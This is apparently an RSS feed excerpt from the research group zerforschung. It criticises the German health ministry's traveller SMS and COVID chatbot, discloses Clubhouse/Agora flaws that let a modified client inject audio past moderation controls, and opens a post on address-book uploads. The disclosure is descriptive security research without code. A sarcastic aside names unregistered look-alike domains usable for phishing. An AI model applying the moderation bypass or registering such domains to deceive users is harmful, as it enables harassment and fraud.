&lt;p&gt;Nebenbei: Wir sind keine Virologen. Deswegen fragen wir uns, was genau eigentlich der Unterschied zwischen Risiko- und Hochinzidenzgebiet ist und was ein Virusvarianten-Gebiet ist, wenn Deutschland mit aktuell 37% der Neuinfektionen mit B117 nicht dazu zählt? &lt;a href=&#34;https://www.tagesspiegel.de/berlin/zahlen-aus-berlins-groesstem-labor-b-1-1-7-mutation-in-37-prozent-positiver-corona-proben/26953640.html&#34;&gt;https://www.tagesspiegel.de/berlin/zahlen-aus-berlins-groesstem-labor-b-1-1-7-mutation-in-37-prozent-positiver-corona-proben/26953640.html&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Ganz am Ende der Seite dann doch: Hinweise auf andere Sprachen! In Form von nicht barrierefreien PDFs. Und warum auch immer die deutsche Bezeichung der Sprache vor dem nativen Begriff steht. Wer soll das finden?&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVSr-XXAAABBnb.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVSr-XXAAABBnb.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Hier gibt es das tolle Schaubild sogar auf Englisch. Der Link zu den Risikogebieten verlinkt dann aber auf die deutsche Variante und nicht auf die englische, die es wieder nur als PDF gibt.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Warum gibt es Informationen in anderen Sprachen immer nur als PDF? Die Auflistung der Gebiete haben wir nur auf Deutsch und Englisch gefunden.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Obwohl die Website der Corona-Warn-App eine automatische Sprachenerkennung hat (anhand der Präferenz des Browsers, wie oben erwähnt), wird hier explizit auf die deutsche Variante verlinkt.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVT8zzXEAEayLb.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVT8zzXEAEayLb.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Noch schlimmer wird es bei den Links zu den Bundesländern. Die sind zwar blau und unterstrichen, aber gar keine Links.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVUh6dXUAYdWqH.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVUh6dXUAYdWqH.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Da die Links so lang sind, werden sie umgebrochen. iOS versucht hier schlau zu sein und einen Link zu generieren.&lt;/p&gt;
&lt;p&gt;Wenn man z.B. im chinesischen PDF auf den Baden-Württem_berg_ Link klickt, landet man auf berg punkt de.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVU3LxXMAEZqYF.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVU3LxXMAEZqYF.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Mit dem Bayern-Link hat man da mehr Glück, man landete zumindest schon mal auf der korrekten Domain aber bei &amp;ldquo;404 - Himmel nochmal!&amp;rdquo;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVVJp0XYAA17Ni.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVVJp0XYAA17Ni.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Wir sind ja Digital Natives 🤓, also markieren wir einfach den ganzen Link und copypasten ihn in den Browser!&lt;/p&gt;
&lt;p&gt;Aber da der Umbruch natürlich mit Bindestrich passiert, ist da jetzt ein Bindestrich in der Domain zu viel und auch die rauskopierten Links sind kaputt.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXSQTXYAMwZRP.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXSQTXYAMwZRP.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXTijXUAYX_Oa.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXTijXUAYX_Oa.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Falls ihr Lust auf ganz besonders zielgerichtetes Phishing habt: schleswig-hol-stein punkt de und &lt;nobr&gt;in-fektionsschutz&lt;/nobr&gt; punkt de sind noch frei 🤡&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXy_9XUAQYOcy.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvVXy_9XUAQYOcy.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Wir möchten kurz nochmal die wichtigste Stelle der Pressemitteilung des Bundesgesundheitsministerium zu den SMS zitieren:&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Über den Kurzlink erhalten Einreisende &lt;em&gt;kompakte&lt;/em&gt; Informationen über ihre Pflichten im Zusammenhang mit dem Coronavirus […]&amp;rdquo;&lt;/p&gt;
&lt;p&gt;🤣 🤣 🤣&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;So, das war ja alles ganz lustig, aber wie könnte man es denn eigentlich besser machen?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Man hätte zum Beispiel die wichtigsten Informationen direkt schon in die SMS schreiben können, denn welche Reisenden haben schon bei der Ankunft in einem fremden Land Datenvolumen, um sich überhaupt durch diese Behörden-Website-Wüste und PDFs zu klicken?&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Es wäre auch eine deutliche angenehmere Experience, wenn man mehrere SMS mit jeweils genau einer Sprache bekäme, statt dieses DE/EN-Reißverschlussverfahren&lt;/p&gt;
&lt;p&gt;(Vielleicht sogar klug erkannt, welche Sprache? … 1. Eine Sprache des Heimatlandes der SIM-Karte, 2. EN, 3. DE ?)&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Und wenn man unbedingt so komplexe Regeln machen möchte und deswegen wirklich einen Link braucht, dann sollte die Seite dahinter die Browser-Sprache automatisch erkennen und auswählen, oder wenigstens eine Sprachauswahl am Anfang der Seite (IN DER JEWEILIGEN SPRACHE!) existieren.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Die Informations-Seite sollte dann Eingabefelder für Herkunftsland, Zielort, etc. haben und basierend darauf die passenden Regeln anzeigen.&lt;/p&gt;
&lt;p&gt;Das geht auch komplett lokal im Browser, ohne die Daten zu übertragen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Aber wir verstehen schon, dass so schnell keine gute Lösung umsetzbar ist, es war ja nur ein knappes Jahr Zeit. 🤡&lt;/p&gt;
&lt;p&gt;🧵-Ende&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Diese UX-Beratung war ein kostenloser Service von zerforschung und ist auch ohne Unterschrift gültig.
Wenn ihr uns trotzdem und auch für weiteren Spaß unterstützen wollt hier entlang: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;Update: Wir haben mal alle Unterlagen dazu angefragt: &lt;a href=&#34;https://fragdenstaat.de/anfrage/corona-sms-fur-einreisende-ab-1-marz-2021/&#34;&gt;https://fragdenstaat.de/anfrage/corona-sms-fur-einreisende-ab-1-marz-2021/&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34;&gt;&lt;p lang=&#34;de&#34; dir=&#34;ltr&#34;&gt;Übrigens: die Website erscheint auf Deutsch. Zum Glück gibt es im Menü den Punkt „English version“. Klickt man nun darauf, kommt man - logisch - auf die englischsprachige Startseite des Gesundheitsministeriums.&lt;/p&gt;&amp;mdash; Josef Moser (@josef_moser) &lt;a href=&#34;https://twitter.com/josef_moser/status/1366089275725533189?ref_src=twsrc%5Etfw&#34;&gt;February 28, 2021&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt; 
&lt;hr&gt;
&lt;p&gt;Wir wurden gerade darauf hingewiesen, dass es ja auch den COVID-19-Chatbot auf &lt;a href=&#34;https://chatbot.it.bund.de/&#34;&gt;https://chatbot.it.bund.de/&lt;/a&gt; gibt.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvafnfxXUAAGf6H.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvafnfxXUAAGf6H.jpg&#34;
         alt=&#34;Chatbot, der erst mal Datenschutzvereinbarungen aktzeptiert haben will&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/Evaf5MMXMAcTQ_V.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/Evaf5MMXMAcTQ_V.jpg&#34;
         alt=&#34;Frage: was muss ich tun wenn ich aus China einreise. Antwort Chatbot: Fachkräfte und hoch qualifizierte Arbeitnehmer im Sinne der &amp;#39;Empfehlungen des Rates zur vorübergehenden Beschränkung nicht unbedingt notwendiger Reisen in die EU und die mögliche Aufhebung dieser Beschränkung&amp;#39; (Ratsdokument 9208/20) sind Fachkräfte mit einem konkreten Arbeitsplatzangebot im Sinne der gesetzlichen Definition (§§ 18 Abs. 3, 18a, 18b AufenthG), das durch die Erklärung zum Beschäftigungsverhältnis nachgewiesen wird; Wissenschaftler/Forscher (§ 18d AufenthG); Entsendungen (nach § 19 Abs. 1 i.V.m. § 10 BeschV) und ICT beschränkt auf Führungskräfte ...&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Nicht so richtig was wir wollten, aber mal auf &amp;ldquo;mehr anzeigen&amp;rdquo; klicken&amp;hellip;
Ahhhhhh🥶😱😤
&amp;ldquo;Bereitgestellt durch: Quellen: Aufzählung, Absätze&amp;rdquo; - weißte bescheid.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvaiwBDXAAIZp2B.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvaiwBDXAAIZp2B.jpg&#34;
         alt=&#34;Voraussetzung für eine Einreise als Fachkraft oder hoch qualifizierter Arbeitnehmer ist jeweils ein Nachweis der Präsenzpflicht in Deutschland (z.B. durch Vorlage eines Arbeitsvertrags) und die Glaubhaftmachung (durch Vorlage einer Bescheinigung des Arbeitgebers/Auftraggebers), dass die Beschäftigung aus wirtschaftlicher Sicht notwendig ist und die Arbeit nicht zeitlich verschoben oder aus dem Ausland verrichtet werden kann. Die wirtschaftliche Notwendigkeit bezieht sich auf die Wirtschaftsbeziehungen und/oder die Wirtschaft Deutschlands oder des Binnenmarkts. Entsprechende Belege sind bei der Reise mitzuführen und ggf. bei der Grenzkontrolle vorzulegen. Für ausländische Fachkräfte und hoch qualifizierte Arbeitnehmer, die (a) nach § 41 Abs. 1 AufenthV visumfrei auch für einen langfristigen Aufenthalt einreisen können, aber (b) nicht Staatsangehörige eines Staats sind, der auf der Positivliste steht, gilt: Wenn diese Personen kein Visum zur unmittelbaren Aufnahme ihrer Erwerbstä&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;OK, mal ein anderes Land probieren&amp;hellip;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/Evaj78OWgAMT9on.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/Evaj78OWgAMT9on.jpg&#34;
         alt=&#34;Frage: was muss ich tun wenn ich aus polen einreise. Antwort Chatbot: Das Thema rund um diesen Corona-Virus ist aber auch umfangreich und vielfältig! Obwohl ich stetig dazu lerne, kann ich zu Ihrer Frage keine Antwort finden. Bitte formulieren Sie Ihr Anliegen noch einmal anders.&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Auf chinesisch nachfragen zerlegt den Bot übrigens reproduzierbar.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/corona-bmg-sms/EvalfLAWYAQ5Evd.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/corona-bmg-sms/EvalfLAWYAQ5Evd.jpg&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;</description>
    </item>
    
    <item>
      <title>No one else was in the room where it happened - den Clubhousefrieden stören</title>
      <link>https://zerforschung.org/posts/clubhouse-endless-audio-fun-de/</link>
      <pubDate>Sat, 13 Feb 2021 18:25:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/clubhouse-endless-audio-fun-de/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-fun/clubhouse-agora-zerforschung-meme.jpg&#34; alt=&#34;Titelbild&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/clubhouse-endless-audio-fun-en/&#34;&gt;This article was also published in english.&lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&#34;was-bisher-geschah-&#34;&gt;Was bisher geschah …&lt;/h2&gt;
&lt;p&gt;In unserem ersten &lt;a href=&#34;https://zerforschung.org/posts/gespraeche-aus-dem-clubhouse/&#34;&gt;Thread zu Clubhouse&lt;/a&gt; hatten wir uns Clubhouse erstmal nur oberflächlich angeschaut.&lt;/p&gt;
&lt;p&gt;Dabei hatten wir gesehen, dass Clubhouse einen Dienstleister nutzt, um die Telefonie-Funktion anzubieten. Dieser Dienstleister heißt Agora.io und wird auch von vielen anderen Apps eingesetzt, unter anderem einer Therapie-App.
Im Thread hatten wir u.a. festgestellt, dass wir problemlos einem Raum lauschen können, ohne den anderen Raumteilnehmer*innen angezeigt zu werden, wenn wir direkt mit Agora kommunizieren.&lt;/p&gt;
&lt;p&gt;Umgekehrt kann man so auch in einem Raum angezeigt werden ohne zuzuhören. Das stellt allerdings eher kein Problem dar - schließlich ist man auch außerhalb von Clubhouse oft in Gesprächen anwesend ohne wirklich zuzuhören.&lt;/p&gt;
&lt;h2 id=&#34;-und-wie-es-weiter-ging-&#34;&gt;… und wie es weiter ging …&lt;/h2&gt;
&lt;p&gt;Nachdem wir &lt;a href=&#34;https://twitter.com/zerforschung/status/1354218368782508037&#34;&gt;den Twitter-Thread&lt;/a&gt; veröffentlicht hatten, haben wir versucht, direkt über Agora Ton einzuspielen.
Dies funktionierte auch noch, nachdem wir den Raum verlassen hatten - wir konnten weiterhin an Gesprächen teilnehmen.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/leave-room.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/leave-room.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Das Ganze testeten wir natürlich in privaten Räumen, um niemanden zu stören. Das Standardverhalten von Clubhouse in privaten Räumen ist, dass dort erstmal alle Teilnehmer*innen sprechen dürfen.
Clubhouse hat, insbesondere für größere, öffentliche Räume, das Feature einer virtuellen Bühne.
Nur wer auf diese Bühne geholt wurde, kann für den ganzen Raum hörbar etwas sagen, der Rest bleibt im virtuellen Publikum (&amp;ldquo;Audience&amp;rdquo;) und kann nur zuhören.
Nach unser bisherigen Erfahrung ahnten wir schlimmes, also haben wir unseren Test-Account in die Audience verschoben. Wie erwartet wurde auch sofort allen im Raum angezeigt, dass der Account nun nicht mehr sprechen kann und sich in der Audience befindet.
Allerdings konnte dieser Account problemlos weiter Ton abspielen, der im ganzen Raum zu hören war.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/move-audience.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/move-audience.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Auch hier lässt sich das Verhalten wieder mit der urspünglichen Entdeckung verknüpfen - der Account kann den Raum verlassen und danach nicht nur weiterhin zuhören, sondern auch Ton einspielen, der an alle im Raum übertragen wird.&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	&lt;strong&gt;Hinweis&lt;/strong&gt;: In öffentlichen Räumen müssen wir zumindest einmal auf der Bühne gewesen sein, um zu sprechen. Danach kann uns aber niemand mehr die Redemöglichkeit wegnehmen. Auch in privaten Räumen gibt es die Möglichkeit, die virtuelle Bühne zu aktivieren. Dort können wir immer sprechen, auch, wenn wir von Anfang an nur in der Audience waren.
&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;Leider ist auch das einzige Feature von Clubhouse, mit dem ein*e Raum-Moderator*in unerwünschte Teilnehmer*innen (und ihr Audio) unterbinden könnte, kaputt: der Rauswerfen-Knopf.
Dieser &amp;ldquo;Remove from Room&amp;rdquo;-Button bittet nur die Clubhouse-App des:der jeweiligen User*in, den Raum zu verlassen. Ist die App modifiziert, kann sie diese Bitte einfach ignorieren und bleibt im Raum.&lt;/p&gt;
&lt;p&gt;Spricht man direkt mit dem Audiodienstleister Agora, haben sämtliche Moderationsmöglichkeiten der Clubhouse-App keinerlei Wirkung. Die Möglichkeit, Ton einzuspielen, funktioniert weiter, bis der Raum schlussendlich für alle geschlossen wird.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/remove-from-room.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/remove-from-room.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;-next-week-on-zerforschung&#34;&gt;… next week on zerforschung&lt;/h2&gt;
&lt;p&gt;In Kürze folgt ein Artikel mit allen technischen Details sowie den Tools, die wir uns im Laufe der Tests gebaut haben. Doch zuerst wollen wir Clubhouse ausreichend Zeit geben, die beschriebenen Probleme zu beheben.&lt;/p&gt;
&lt;p&gt;Wir haben Clubhouse über die Probleme informiert, zum Zeitpunkt der Veröffentlichung aber noch keine Rückmeldung erhalten.&lt;/p&gt;
&lt;p&gt;Dabei ist uns wichtig: Wir haben uns entschieden, diesen Artikel trotzdem vor einer Problembehebung zu veröffentlichen, da diese Probleme aus unserer Sicht leider (zu) leicht findbar sind und auch einigen Schaden anrichten können, wenn nicht bekannt ist, wie es dazu kommen kann.&lt;/p&gt;
&lt;p&gt;Nach kurzem Überfliegen der Agora-Schnittstellendokumentation und der bisherigen Verwendung durch Clubhouse, schätzen wir aber, dass die Problembehebung doch etwas schwieriger sein könnte.
Aber die Details und ein paar lustige Dinge, die wir gefunden haben, kommen noch, also bleibt gespannt 🚀✨&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;All unsere Arbeit passiert in unserer Freizeit, neben Brötchenjob und allgemeiner Pandemie-Erschöpfung.
Wenn dir gefällt was wir tun und du uns dabei unterstützen willst, damit wir noch mehr solchen oder ganz anderen Quatsch machen können, kannst du dir unsere &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;Unterstützungsseite&lt;/a&gt; ansehen.&lt;/p&gt;
&lt;p&gt;Um immer auf dem Laufenden zu bleiben, folge uns auf &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt; oder abonniere unseren &lt;a href=&#34;https://zerforschung.org/index.xml&#34;&gt;RSS-Feed&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Audio in den Beispielvideos: Kmart Radio Jingle &amp;amp; Kmart Gift Certificates Announcement von &lt;a href=&#34;https://archive.org/details/KmartDecember1992&#34;&gt;https://archive.org/details/KmartDecember1992&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>No one else was in the room where it happened - disturbing the clubhouse peace</title>
      <link>https://zerforschung.org/posts/clubhouse-endless-audio-fun-en/</link>
      <pubDate>Sat, 13 Feb 2021 18:25:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/clubhouse-endless-audio-fun-en/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-fun/clubhouse-agora-zerforschung-meme.jpg&#34; alt=&#34;Coverimage&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/clubhouse-endless-audio-fun-de/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen.&lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&#34;what-happened-so-far-&#34;&gt;What happened so far …&lt;/h2&gt;
&lt;p&gt;In our first &lt;a href=&#34;https://zerforschung.org/posts/gespraeche-aus-dem-clubhouse/&#34;&gt;thread on Clubhouse (in german)&lt;/a&gt; we had only taken a superficial look at Clubhouse.&lt;/p&gt;
&lt;p&gt;We saw that Clubhouse uses an external service provider called Agora.io for the voice call functionality.
Agora.io is also used by many other apps, including a therapy app.
In the thread we found that, among other things, we can easily listen to a room without being displayed to the other room participants if we communicate directly with Agora.&lt;/p&gt;
&lt;p&gt;Conversely, you can also be displayed in a room without listening. However, this is not really a problem - after all, even outside Clubhouse you are often present in conversations without really listening.&lt;/p&gt;
&lt;h2 id=&#34;-and-what-happened-next-&#34;&gt;… and what happened next …&lt;/h2&gt;
&lt;p&gt;After we published &lt;a href=&#34;https://twitter.com/zerforschung/status/1354218368782508037&#34;&gt;the Twitter thread&lt;/a&gt;, we tried to play sound directly through Agora.
This still worked after we left the room - we could still participate in conversations.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/leave-room.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/leave-room.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Of course, we only tested the whole thing in private rooms so as not to disturb anyone.
The standard behaviour of Clubhouse in private rooms is that all participants are allowed to speak.
Clubhouse also has the feature of a virtual stage, especially for larger, public rooms.
Only those who have been brought onto this stage can speak audibly for the whole room, the rest remain in the virtual audience and can only listen.
After our previous experience, we suspected something bad, so we moved our test account to the Audience.
As expected, everyone in the room was immediately informed that the account could no longer speak and was now in the audience.
However, this account could continue to play sound without any problems, which could be heard throughout the room.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/move-audience.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/move-audience.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Again, the behaviour can be combined with the original discovery - the account can leave the room and then not only continue to listen, but also play sound that is transmitted to everyone in the room.&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	&lt;strong&gt;Note&lt;/strong&gt;: In public rooms, we must have been on stage at least once to speak. After that, however, no one can take away our permission to speak.
You can also activate the virtual stage in private rooms. We can always speak there, even if we had only been in the audience since joining the room.
&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;Unfortunately, the only feature of Clubhouse that a room moderator could use to prevent unwanted participants (and their audio) is also broken: the eject button.
This &amp;ldquo;Remove from Room&amp;rdquo; button only asks the Clubhouse app of the respective user to leave the room.
If the app is modified, it can simply ignore this request and remains in the room.&lt;/p&gt;
&lt;p&gt;If you talk directly to the audio service provider Agora, all the moderation options of the Clubhouse app have no effect. The possibility to play sound continues to work until the room is finally closed for everyone.&lt;/p&gt;
&lt;video controls&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/remove-from-room.mp4&#34; type=&#34;video/mp4&#34;&gt;
	&lt;source src=&#34;https://zerforschung.org/m/clubhouse-fun/remove-from-room.webm&#34; type=&#34;video/webm&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;-next-week-on-zerforschung&#34;&gt;… next week on zerforschung&lt;/h2&gt;
&lt;p&gt;We will publish an article with all technical details as well as the tools we built in the course of the tests.
But first we want to give Clubhouse enough time to fix the described problems.&lt;/p&gt;
&lt;p&gt;We have informed Clubhouse about the problems but have not received any feedback at the time of publication.&lt;/p&gt;
&lt;p&gt;However: We have decided to publish this article anyway before fixing the problems, because in our view these problems are unfortunately (too) easy to find and can cause some damage if not known.&lt;/p&gt;
&lt;p&gt;However, after a quick skim of the Agora interface documentation and Clubhouse&amp;rsquo;s use of it so far, we estimate that fixing the problem might be a bit more difficult after all.
But the details and a few fun things we found will follow soon, so stay tuned 🚀✨&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;All our work is done in our spare time, besides our jobs and general pandemic exhaustion.
If you like what we do and want to support us so we can do more nonsense like this or something else, you can check out our &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;support page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To stay up to date, follow us on &lt;a href=&#34;https://twitter.com/zerforschung&#34;&gt;Twitter&lt;/a&gt; or subscribe to our &lt;a href=&#34;https://zerforschung.org/index.xml&#34;&gt;RSS feed&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Audio in the sample videos: Kmart Radio Jingle &amp;amp; Kmart Gift Certificates Announcement from &lt;a href=&#34;https://archive.org/details/KmartDecember1992&#34;&gt;https://archive.org/details/KmartDecember1992&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Daten aus dem Untergrund</title>
      <link>https://zerforschung.org/posts/daten-aus-dem-untergrund/</link>
      <pubDate>Tue, 09 Feb 2021 17:40:27 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/daten-aus-dem-untergrund/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/cov32-artikel/covid32-data.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Wie im &lt;a href=&#34;https://zerforschung.org/posts/auf-der-suche-nach-corona-im-berliner-untergrund/&#34;&gt;Artikel über unsere CWA-Messungen in Berliner U-Bahnen&lt;/a&gt; versprochen, veröffentlichen wir nun die Daten aus unseren Messungen. Um weitere Auswertungen mit den Daten möglichst einfach zu machen, haben wir ein paar Vorverarbeitungsschritte gemacht. Dabei haben wir außerdem alle nicht benötigten Daten, die als persönliche Daten gewertet werden könnten, entfernt. Keine dieser Veränderungen sollte die Auswertbarkeit der Daten beeinträchtigen. Eine genaue Beschreibung, welche Änderungen wir vorgenommen haben und eine Beschreibung des Datenformats befindet sich im Readme des Repositories.&lt;/p&gt;
&lt;p&gt;Das GitHub repo mit den Daten und Doku ist unter &lt;a href=&#34;https://github.com/zerforschung/Covid32Data&#34;&gt;https://github.com/zerforschung/Covid32Data&lt;/a&gt; zu finden&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Clubhouse really likes your phone book</title>
      <link>https://zerforschung.org/posts/clubhouse-telefonnummern-en/</link>
      <pubDate>Mon, 01 Feb 2021 13:01:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/clubhouse-telefonnummern-en/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://zerforschung.org/posts/clubhouse-telefonnummern-de/&#34;&gt;Dieser Artikel ist auch auf Deutsch erschienen.&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;tl;dr: Every time you open the invite tab, clubhouse uploads &lt;strong&gt;all&lt;/strong&gt; the phone numbers from your address book.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Clubhouse is currently invite-only, which is probably part of the current hype.
To invite someone you have to give Clubhouse access to your address book.
&lt;a href=&#34;https://www.tagesschau.de/wirtschaft/clubhouse-audio-app-deutschland-datenschutz-social-media-101.html&#34;&gt;This has been criticized several times.&lt;/a&gt;
There has been a lot of discussion about how Clubhouse uses this address book data.
We took a look and document how clubhouse currently uses the data from your address book and how it could be done better.&lt;/p&gt;
&lt;h2 id=&#34;invites-to-clubhouse&#34;&gt;Invites to Clubhouse&lt;/h2&gt;
&lt;p&gt;After registering, the clubhouse app asks for access to your address book.
This must be granted if you want to invite friends.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/invite_button.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/clubhouse-telefonnummern/invite_button.jpg&#34;
         alt=&#34;Invite Button in the Clubhouse App&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Invite Button in the Clubhouse App&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

